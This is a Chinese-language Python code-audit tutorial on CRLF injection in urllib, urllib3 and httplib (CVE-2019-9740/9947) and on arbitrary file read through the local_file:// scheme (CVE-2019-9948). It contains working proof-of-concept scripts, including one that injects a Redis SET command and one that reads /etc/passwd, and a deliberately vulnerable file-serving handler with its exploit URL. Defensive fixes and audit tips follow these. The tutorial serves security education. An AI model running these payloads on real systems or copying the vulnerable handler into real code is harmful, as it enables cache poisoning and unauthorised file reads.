Python代码审计实战案例总结之CRLF和任意文件读取
字数 1077 2025-08-18 11:39:15

Python代码审计实战:CRLF与任意文件读取漏洞详解

一、CRLF漏洞审计与实战

1. CRLF漏洞概述

CRLF(Carriage Return Line Feed)漏洞是由于对\x0d\x0a(即\r\n)处理不严格导致的安全问题。这类漏洞常出现在Python的HTTP相关模块中,如httpliburllib

2. 漏洞危害

  • 可导致Memcached和Redis等缓存应用被污染
  • 严重情况下可能获取服务器shell
  • 可注入任意HTTP头,导致HTTP请求走私等攻击

3. urllib模块CRLF漏洞(CVE-2019-9740和CVE-2019-9947)

漏洞POC

#!/usr/bin/env python3
import sys
import urllib
import urllib.error
import urllib.request

host = "10.251.0.83:6379?\r\nSET test success\r\n"
url = "http://" + host + ":8080/test/?test=a"

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)

漏洞验证

执行后检查Redis服务器:

127.0.0.1:6379> GET test
"success"

修复方案

使用正则表达式检查十六进制\x00-\x20\x7f

_contains_disallowed_url_pchar_re = re.compile('[\x00-\x20\x7f]')

4. urllib3模块CRLF漏洞

漏洞POC

import urllib3

pool_manager = urllib3.PoolManager()
host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "https://" + host + ":8080/test/?test=a"

try:
    info = pool_manager.request('GET', url).info()
    print(info)
except Exception:
    pass

5. httplib模块CRLF漏洞

漏洞POC

import httplib

conn = httplib.HTTPConnection("192.168.158.129:7777")
conn.request("GET", "a=1HTTP/1.1\r\nX-injected: header\r\nTEST: 123")
r1 = conn.getresponse()
print(r1.status, r1.reason)

验证方法

使用nc监听端口:

nc -l -p 7777

二、任意文件读取漏洞审计与实战

1. urllib模块local_file协议绕过(CVE-2019-9948)

漏洞背景

模块为缓解SSRF和任意文件读取,将file://加入黑名单,但未考虑local_file://协议。

漏洞POC

import urllib
print urllib.urlopen('local_file:///etc/passwd').read()[:30]

修复方案

在代码中检测并禁止local_file协议:

urltype = 'local_file'  # 被检测到并禁止

2. 任意文件读取实例分析

漏洞代码示例

import urllib
import SocketServer
from SimpleHTTPServer import SimpleHTTPRequestHandler

class MyHandler(SimpleHTTPRequestHandler):
    def _set_headers(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
    
    def do_GET(self):
        print("got get request %s" % (self.path))
        hql = urllib.splitquery(self.path)[1]
        uri_c = str(hql)
        print('cmd===%s' % (uri_c))
        file = open(uri_c)
        self.wfile.write(file.read())
        file.close()

def start_server():
    httpd = SocketServer.TCPServer(("127.0.0.1", 8090), MyHandler)
    print('Starting httpd...')
    httpd.serve_forever()

if __name__ == "__main__":
    start_server()

漏洞利用

访问URL读取系统文件:

http://127.0.0.1:8090/Windows\win.ini

漏洞修复建议

  1. 限制文件访问路径
  2. 对用户输入进行严格过滤
  3. 使用白名单机制限制可访问的文件类型

三、防御措施总结

1. CRLF漏洞防御

  • 使用正则表达式过滤特殊字符:[\x00-\x20\x7f]
  • 对HTTP头进行严格验证
  • 使用最新版本的Python和相关模块

2. 任意文件读取防御

  • 禁用不必要的文件协议(file://, local_file://等)
  • 实施文件路径白名单机制
  • 对用户输入进行规范化处理
  • 使用安全的文件操作API

四、审计技巧

  1. CRLF审计要点

    • 检查所有HTTP请求处理代码
    • 测试在URL、参数、头部的各个位置插入\r\n
    • 重点关注urllib, urllib3, httplib等模块
  2. 任意文件读取审计要点

    • 检查所有文件操作函数(open(), urlopen()等)
    • 检查协议处理逻辑
    • 测试使用不同协议(file://, local_file://等)
    • 检查路径拼接操作

通过以上案例和分析,可以系统性地进行Python代码审计,发现和修复CRLF和任意文件读取漏洞。

Python代码审计实战:CRLF与任意文件读取漏洞详解 一、CRLF漏洞审计与实战 1. CRLF漏洞概述 CRLF(Carriage Return Line Feed)漏洞是由于对 \x0d\x0a (即 \r\n )处理不严格导致的安全问题。这类漏洞常出现在Python的HTTP相关模块中,如 httplib 和 urllib 。 2. 漏洞危害 可导致Memcached和Redis等缓存应用被污染 严重情况下可能获取服务器shell 可注入任意HTTP头,导致HTTP请求走私等攻击 3. urllib模块CRLF漏洞(CVE-2019-9740和CVE-2019-9947) 漏洞POC 漏洞验证 执行后检查Redis服务器: 修复方案 使用正则表达式检查十六进制 \x00-\x20 和 \x7f : 4. urllib3模块CRLF漏洞 漏洞POC 5. httplib模块CRLF漏洞 漏洞POC 验证方法 使用nc监听端口: 二、任意文件读取漏洞审计与实战 1. urllib模块local_ file协议绕过(CVE-2019-9948) 漏洞背景 模块为缓解SSRF和任意文件读取,将 file:// 加入黑名单,但未考虑 local_file:// 协议。 漏洞POC 修复方案 在代码中检测并禁止 local_file 协议: 2. 任意文件读取实例分析 漏洞代码示例 漏洞利用 访问URL读取系统文件: 漏洞修复建议 限制文件访问路径 对用户输入进行严格过滤 使用白名单机制限制可访问的文件类型 三、防御措施总结 1. CRLF漏洞防御 使用正则表达式过滤特殊字符: [\x00-\x20\x7f] 对HTTP头进行严格验证 使用最新版本的Python和相关模块 2. 任意文件读取防御 禁用不必要的文件协议(file://, local_ file://等) 实施文件路径白名单机制 对用户输入进行规范化处理 使用安全的文件操作API 四、审计技巧 CRLF审计要点 : 检查所有HTTP请求处理代码 测试在URL、参数、头部的各个位置插入 \r\n 重点关注 urllib , urllib3 , httplib 等模块 任意文件读取审计要点 : 检查所有文件操作函数(open(), urlopen()等) 检查协议处理逻辑 测试使用不同协议(file://, local_ file://等) 检查路径拼接操作 通过以上案例和分析,可以系统性地进行Python代码审计,发现和修复CRLF和任意文件读取漏洞。